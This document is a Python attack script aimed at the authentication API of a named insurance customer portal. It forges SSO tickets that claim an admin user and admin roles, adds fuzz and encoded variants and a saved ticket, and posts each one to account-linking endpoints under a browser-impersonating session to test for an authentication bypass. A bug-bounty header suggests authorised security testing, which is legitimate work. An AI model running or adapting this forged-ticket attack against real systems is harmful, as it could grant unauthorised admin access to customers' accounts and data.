from curl_cffi import requests
import base64, gzip, struct, time, uuid, json
from pathlib import Path

BASE='https://mein-portal.baloise.de'
APPS=['el_account_linking','el_account_linking2']
H0={'X-Bug-Bounty':'dwbzn'}
keys=['userid','eServiceUser','Identifier','userId','uid','sub','el_baloise_userid','tgic_id','login','username','medusaID']

def kmv(user='admin', uid=None):
    uid=uid or str(uuid.uuid4())
    return ''.join(f'{k}={user};' for k in keys)+f'roles=admin,administrator,user;uniqueId={uid};'

def pb64(user='admin', uid=None, delta=3600):
    b=kmv(user,uid).encode('latin1')+struct.pack('>q',int((time.time()+delta)*1000))
    return base64.b64encode(b).decode()

def enc_header(s):
    # LoginappUiSsoTicketExtractor defaults to URL-decode=true. Preserve base64 chars.
    return s.replace('%','%25').replace('+','%2B').replace('/','%2F').replace('=','%3D')

esp=Path('work/scratch/el_account_linking-admin-esp.txt').read_text().strip()
cases=[
 ('single-byte-b64','QQ=='),
 ('seven-byte-b64',base64.b64encode(b'A'*7).decode()),
 ('eight-zero-expired',base64.b64encode(b'\x00'*8).decode()),
 ('plain-admin',kmv()),
 ('plain-b64-admin',pb64()),
 ('plain-b64-admin-urlencoded',enc_header(pb64())),
 ('gzip-plain-b64-admin',base64.b64encode(gzip.compress((kmv().encode('latin1')+struct.pack('>q',int((time.time()+3600)*1000))))).decode()),
 ('esp-urlencoded',enc_header(esp)),
]

for app in APPS:
  for name,ticket in cases:
    s=requests.Session(impersonate='chrome')
    s.get(BASE+'/auth/',headers=H0,allow_redirects=False,timeout=20)
    csrf=s.cookies.get('CSRFT759-S') or ''
    h={**H0,'X-Same-Domain':'1','X-CSRFT759':csrf,'Content-Type':'application/json','Accept':'application/json,application/vnd.api+json','X-IAM-SSO-Ticket':ticket}
    t0=time.perf_counter()
    r=s.post(f'{BASE}/auth/rest/public/authentication/applications/{app}/access',headers=h,data='null',allow_redirects=False,timeout=20)
    ms=(time.perf_counter()-t0)*1000
    try: body=r.json()
    except: body=r.text[:500]
    print(json.dumps({'app':app,'case':name,'status':r.status_code,'len':len(r.content),'ms':round(ms,1),'exchange':getattr(r,'toadex_exchange_id',None),'forward':r.headers.get('X-Forward-URL'),'body':body},ensure_ascii=False))
